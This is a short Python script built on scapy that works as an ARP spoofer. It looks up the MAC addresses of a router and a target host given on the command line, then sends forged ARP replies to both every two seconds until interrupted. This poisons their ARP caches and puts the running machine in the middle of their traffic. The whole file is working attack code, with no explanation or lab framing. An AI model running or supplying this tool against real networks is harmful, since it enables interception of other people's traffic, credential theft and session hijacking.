#! /bin/python3

import scapy.all as scapy

import sys

import time

def get\_mac\_address(ip\_address):

broadcast\_layer = scapy.Ether(dst='ff:ff:ff:ff:ff:ff')

arp\_layer = scapy.ARP(pdst=ip\_address)

get\_mac\_packet = broadcast\_layer/arp\_layer

answer = scapy.srp(get\_mac\_packet, timeout=2, verbose=False)[0]

return answer[0][1].hwsrc

def spoof(router\_ip, target\_ip, router\_mac, target\_mac):

packet1 = scapy.ARP(op=2, hwdst=router\_mac, pdst=router\_ip, psrc=target\_ip)

packet2 = scapy.ARP(op=2, hwdst=target\_mac, pdst=target\_ip, psrc=router\_ip)

scapy.send(packet1)

scapy.send(packet2)

target\_ip = str(sys.argv[2])

router\_ip = str(sys.argv[1])

target\_mac = str(get\_mac\_address(target\_ip))

router\_mac = str(get\_mac\_address(router\_ip))

try:

while True:

spoof(router\_ip, target\_ip, router\_mac, target\_mac)

time.sleep(2)

except KeyboardInterrupt:

print('Closing Arp Spoofer')

exit(0)